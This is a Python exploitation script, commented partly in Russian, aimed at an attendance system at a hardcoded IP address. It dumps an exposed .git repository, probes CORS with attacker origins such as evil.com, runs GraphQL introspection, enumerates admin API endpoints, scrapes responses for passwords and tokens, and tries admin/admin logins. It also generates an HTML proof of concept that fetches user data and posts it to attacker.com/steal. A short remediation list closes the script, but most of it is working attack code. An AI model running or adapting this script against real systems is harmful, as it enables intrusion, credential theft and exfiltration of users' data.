Загрузка данных


#!/usr/bin/env python3
"""
Exploit Script for Attendance System (172.140.140.79)
Targets: 
  - CRITICAL: .git/ directory exposure
  - HIGH: CORS misconfiguration  
  - HIGH: API endpoints (GraphQL, /api/)
  - MEDIUM: Missing CSRF protection
"""

import requests
import os
import json
import re
import base64
import urllib3
from urllib.parse import urljoin, urlparse
from concurrent.futures import ThreadPoolExecutor, as_completed

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

class AttendanceSystemExploit:
    def __init__(self, target="http://172.140.140.79"):
        self.target = target
        self.session = requests.Session()
        self.session.verify = False
        self.session.headers.update({
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.0'
        })
        self.exfil_data = []
        self.git_files = []
        self.api_endpoints = []
        
    def exploit_git_exposure(self):
        """Эксплуатация CRITICAL: извлечение .git/ репозитория"""
        print("\n" + "="*60)
        print("[CRITICAL] EXPLOITING .git/ DIRECTORY EXPOSURE")
        print("="*60)
        
        git_files_to_check = [
            "HEAD",
            "config",
            "description",
            "index",
            "packed-refs",
            "logs/HEAD",
            "logs/refs/heads/main",
            "refs/heads/main",
            "refs/heads/master",
            "objects/00/info/packs",
            "COMMIT_EDITMSG",
            "info/refs",
            "info/exclude"
        ]
        
        git_dir = os.path.join("extracted_git", "172.140.140.79")
        os.makedirs(git_dir, exist_ok=True)
        
        extracted_files = []
        
        for git_file in git_files_to_check:
            url = f"{self.target}/.git/{git_file}"
            try:
                resp = self.session.get(url, timeout=10)
                if resp.status_code == 200:
                    local_path = os.path.join(git_dir, git_file.replace('/', os.sep))
                    os.makedirs(os.path.dirname(local_path), exist_ok=True)
                    with open(local_path, 'wb') as f:
                        f.write(resp.content)
                    extracted_files.append(git_file)
                    print(f"[+] Extracted: .git/{git_file} ({len(resp.content)} bytes)")
                    
                    # Анализ содержимого
                    if git_file == "config":
                        self._analyze_git_config(resp.text)
                    elif git_file in ["refs/heads/main", "refs/heads/master"]:
                        self._get_commit_objects(resp.text.strip())
                        
            except Exception as e:
                pass
        
        # Попытка получить объекты git
        self._enumerate_git_objects(git_dir)
        
        print(f"\n[*] Total extracted: {len(extracted_files)} files")
        print(f"[*] Saved to: {git_dir}/")
        return extracted_files

    def _analyze_git_config(self, config_content):
        """Анализ git config на наличие credentials"""
        print("\n[ANALYSIS] Git Config:")
        remote_url = re.search(r'url\s*=\s*(.+)', config_content)
        if remote_url:
            print(f"  Remote URL: {remote_url.group(1)}")
            if 'password' in remote_url.group(1) or '@' in remote_url.group(1):
                print("  [!] WARNING: Credentials might be in URL!")
                
    def _get_commit_objects(self, commit_hash):
        """Получение объектов коммитов"""
        if not commit_hash or len(commit_hash) < 4:
            return
        obj_dir = commit_hash[:2]
        obj_file = commit_hash[2:]
        url = f"{self.target}/.git/objects/{obj_dir}/{obj_file}"
        try:
            resp = self.session.get(url, timeout=5)
            if resp.status_code == 200:
                print(f"  [+] Got commit object: {commit_hash}")
        except:
            pass

    def _enumerate_git_objects(self, git_dir):
        """Перебор git objects"""
        print("\n[*] Enumerating git objects...")
        found_objects = []
        
        hex_chars = '0123456789abcdef'
        with ThreadPoolExecutor(max_workers=20) as executor:
            futures = {}
            for c1 in hex_chars:
                for c2 in hex_chars:
                    url = f"{self.target}/.git/objects/{c1}{c2}/"
                    future = executor.submit(self.session.get, url, timeout=5)
                    futures[future] = url
            
            for future in as_completed(futures):
                try:
                    resp = future.result()
                    if resp.status_code == 200:
                        # Парсинг объектов из directory listing
                        objects = re.findall(r'href="([a-f0-9]{38})"', resp.text)
                        found_objects.extend(objects)
                except:
                    pass
        
        print(f"  [+] Found {len(found_objects)} objects")
        
        # Скачивание объектов
        if found_objects:
            objects_dir = os.path.join(git_dir, "objects")
            os.makedirs(objects_dir, exist_ok=True)
            
            for obj in found_objects[:50]:  # Limit to 50
                obj_path = f"{obj[:2]}/{obj[2:]}"
                url = f"{self.target}/.git/objects/{obj_path}"
                try:
                    resp = self.session.get(url, timeout=5)
                    if resp.status_code == 200:
                        local_path = os.path.join(objects_dir, obj[:2])
                        os.makedirs(local_path, exist_ok=True)
                        with open(os.path.join(local_path, obj[2:]), 'wb') as f:
                            f.write(resp.content)
                except:
                    pass

    def exploit_cors_data_exfiltration(self):
        """Эксплуатация CORS: демонстрация извлечения данных"""
        print("\n" + "="*60)
        print("[HIGH] CORS DATA EXFILTRATION ATTACK")
        print("="*60)
        
        malicious_origins = [
            "https://evil.com",
            "http://localhost:3000",
            "https://attacker-controlled-site.com",
            "null"
        ]
        
        # API endpoints для тестирования CORS
        api_paths = [
            "/api/auth",
            "/api/user",
            "/api/admin",
            "/graphql",
            "/health",
            "/metrics"
        ]
        
        cors_vulnerable = []
        
        for origin in malicious_origins:
            headers = {
                'Origin': origin,
                'Access-Control-Request-Method': 'GET, POST, PUT, DELETE'
            }
            
            for path in api_paths:
                url = f"{self.target}{path}"
                try:
                    # Preflight request
                    resp = self.session.options(url, headers=headers, timeout=5)
                    acao = resp.headers.get('Access-Control-Allow-Origin', '')
                    acac = resp.headers.get('Access-Control-Allow-Credentials', '')
                    
                    if origin in acao or acao == '*':
                        print(f"\n[!] CORS VULNERABLE: {path}")
                        print(f"    Origin: {origin}")
                        print(f"    Access-Control-Allow-Origin: {acao}")
                        print(f"    Access-Control-Allow-Credentials: {acac}")
                        cors_vulnerable.append({
                            'path': path,
                            'origin': origin,
                            'credentials': acac == 'true'
                        })
                        
                        # Попытка получить данные
                        if path == "/api/user":
                            self._test_api_data_exfiltration(url, origin)
                            
                except Exception as e:
                    pass
        
        return cors_vulnerable

    def _test_api_data_exfiltration(self, url, origin):
        """Тест извлечения данных через CORS"""
        headers = {'Origin': origin}
        try:
            resp = self.session.get(url, headers=headers, timeout=5)
            if resp.status_code == 200:
                print(f"    [+] Data accessible: {resp.text[:200]}...")
                self.exfil_data.append({
                    'source': url,
                    'origin': origin,
                    'data': resp.text[:500]
                })
        except:
            pass

    def exploit_graphql_introspection(self):
        """Тестирование GraphQL introspection"""
        print("\n" + "="*60)
        print("[INFO] GRAPHQL INTROSPECTION ATTACK")
        print("="*60)
        
        introspection_query = {
            "query": """
            query IntrospectionQuery {
              __schema {
                queryType { name }
                mutationType { name }
                types {
                  name
                  kind
                  fields {
                    name
                    type {
                      name
                      kind
                    }
                  }
                }
              }
            }
            """
        }
        
        graphql_endpoints = [
            f"{self.target}/graphql",
            f"{self.target}/api/graphql",
            f"{self.target}/graphiql"
        ]
        
        for endpoint in graphql_endpoints:
            try:
                resp = self.session.post(
                    endpoint,
                    json=introspection_query,
                    headers={'Content-Type': 'application/json'},
                    timeout=10
                )
                
                if resp.status_code == 200:
                    data = resp.json()
                    if 'data' in data and '__schema' in data.get('data', {}):
                        print(f"\n[+] GraphQL Introspection ENABLED: {endpoint}")
                        types = data['data']['__schema'].get('types', [])
                        print(f"    Available types: {len(types)}")
                        
                        # Сохранение схемы
                        schema_file = "graphql_schema.json"
                        with open(schema_file, 'w') as f:
                            json.dump(data, f, indent=2)
                        print(f"    [+] Schema saved to: {schema_file}")
                        
                        # Поиск sensitive полей
                        sensitive_fields = ['password', 'token', 'secret', 'admin', 'user']
                        for t in types:
                            if t and 'fields' in t and t['fields']:
                                for field in t['fields']:
                                    if field and any(s in field.get('name', '').lower() for s in sensitive_fields):
                                        print(f"    [!] Sensitive field: {t.get('name', 'N/A')}.{field.get('name', 'N/A')}")
                        
                        return data
                        
            except Exception as e:
                pass
        
        print("[-] GraphQL introspection not available or disabled")
        return None

    def exploit_api_endpoints(self):
        """Тестирование API endpoints"""
        print("\n" + "="*60)
        print("[INFO] API ENDPOINT ENUMERATION")
        print("="*60)
        
        endpoints = [
            "/api/auth/login",
            "/api/auth/register", 
            "/api/user/profile",
            "/api/user/list",
            "/api/admin/users",
            "/api/admin/config",
            "/health",
            "/metrics",
            "/swagger.json",
            "/api-docs",
            "/v1/api/users",
            "/api/v2/users"
        ]
        
        findings = []
        
        for endpoint in endpoints:
            url = f"{self.target}{endpoint}"
            try:
                resp = self.session.get(url, timeout=5)
                print(f"[{resp.status_code}] {endpoint}")
                
                if resp.status_code == 200:
                    content_type = resp.headers.get('Content-Type', '')
                    
                    if 'json' in content_type:
                        try:
                            data = resp.json()
                            print(f"    [+] JSON Response: {json.dumps(data, indent=2)[:300]}")
                            findings.append({'endpoint': endpoint, 'data': data})
                        except:
                            print(f"    [+] Response: {resp.text[:200]}")
                            
                    elif 'text' in content_type:
                        # Поиск sensitive данных
                        patterns = [
                            r'password["\']?\s*[:=]\s*["\']?([^"\'\s]+)',
                            r'api[_-]?key["\']?\s*[:=]\s*["\']?([^"\'\s]+)',
                            r'secret["\']?\s*[:=]\s*["\']?([^"\'\s]+)',
                            r'token["\']?\s*[:=]\s*["\']?([^"\'\s]+)'
                        ]
                        
                        for pattern in patterns:
                            matches = re.findall(pattern, resp.text, re.IGNORECASE)
                            if matches:
                                print(f"    [!] POTENTIAL CREDENTIALS FOUND!")
                                for m in matches[:3]:
                                    print(f"        -> {m[:50]}...")
                                    
            except Exception as e:
                pass
                
        return findings

    def exploit_csrf_bypass(self):
        """Тестирование CSRF bypass на login форме"""
        print("\n" + "="*60)
        print("[MEDIUM] CSRF BYPASS ATTACK")
        print("="*60)
        
        login_url = f"{self.target}/api/auth"
        
        # Тест 1: Login без CSRF токена
        payload_no_csrf = {
            "username": "admin",
            "password": "admin",
            "email": "test@test.com"
        }
        
        try:
            resp = self.session.post(
                login_url,
                json=payload_no_csrf,
                headers={'Content-Type': 'application/json'},
                timeout=5
            )
            print(f"[+] Login request without CSRF: {resp.status_code}")
            print(f"    Response: {resp.text[:200]}")
            
            if resp.status_code in [200, 201, 401]:
                print("    [!] Endpoint accepts requests without CSRF token!")
                
        except Exception as e:
            print(f"[-] Error: {e}")

    def generate_html_poc(self):
        """Генерация HTML PoC для CORS атаки"""
        print("\n" + "="*60)
        print("[INFO] GENERATING HTML PoC")
        print("="*60)
        
        html_content = f'''<!DOCTYPE html>
<html>
<head>
    <title>CORS Exploit PoC - Attendance System</title>
</head>
<body>
    <h1>CORS Data Exfiltration PoC</h1>
    <p>Target: {self.target}</p>
    <button onclick="stealData()">Steal Data</button>
    <pre id="result"></pre>
    
    <script>
        function stealData() {{
            fetch('{self.target}/api/user', {{
                method: 'GET',
                credentials: 'include'
            }})
            .then(r => r.json())
            .then(data => {{
                document.getElementById('result').textContent = JSON.stringify(data, null, 2);
                // Exfiltrate to attacker server
                fetch('https://attacker.com/steal', {{
                    method: 'POST',
                    body: JSON.stringify(data)
                }});
            }})
            .catch(e => {{
                document.getElementById('result').textContent = 'Error: ' + e;
            }});
        }}
    </script>
</body>
</html>'''
        
        with open("cors_exploit_poc.html", "w") as f:
            f.write(html_content)
        print("[+] PoC saved to: cors_exploit_poc.html")

    def run_all_exploits(self):
        """Запуск всех эксплойтов"""
        print(f"""
    ╔══════════════════════════════════════════════════════════╗
    ║      ATTENDANCE SYSTEM EXPLOITATION FRAMEWORK            ║
    ║      Target: {self.target:<43} ║
    ╚══════════════════════════════════════════════════════════╝
        """)
        
        results = {
            'git_extraction': self.exploit_git_exposure(),
            'cors_vulnerabilities': self.exploit_cors_data_exfiltration(),
            'graphql_introspection': self.exploit_graphql_introspection(),
            'api_findings': self.exploit_api_endpoints(),
            'csrf_test': self.exploit_csrf_bypass()
        }
        
        self.generate_html_poc()
        
        # Сохранение полного отчета
        report = {
            'target': self.target,
            'exploitation_results': results,
            'exfiltrated_data': self.exfil_data,
            'recommendations': [
                "Remove .git/ directory from web root IMMEDIATELY",
                "Implement strict CORS policy with whitelist",
                "Enable CSRF tokens on all state-changing operations",
                "Disable GraphQL introspection in production",
                "Implement authentication on all API endpoints",
                "Add security headers (HSTS, CSP, X-Frame-Options)"
            ]
        }
        
        with open("exploitation_report.json", "w") as f:
            json.dump(report, f, indent=2)
            
        print("\n" + "="*60)
        print("EXPLOITATION COMPLETE")
        print("="*60)
        print("[*] Full report saved to: exploitation_report.json")
        print("[*] Git extraction saved to: extracted_git/")
        print("[*] CORS PoC saved to: cors_exploit_poc.html")
        print("\n[!] CRITICAL ACTIONS REQUIRED:")
        for rec in report['recommendations']:
            print(f"    - {rec}")

if __name__ == "__main__":
    exploit = AttendanceSystemExploit()
    exploit.run_all_exploits()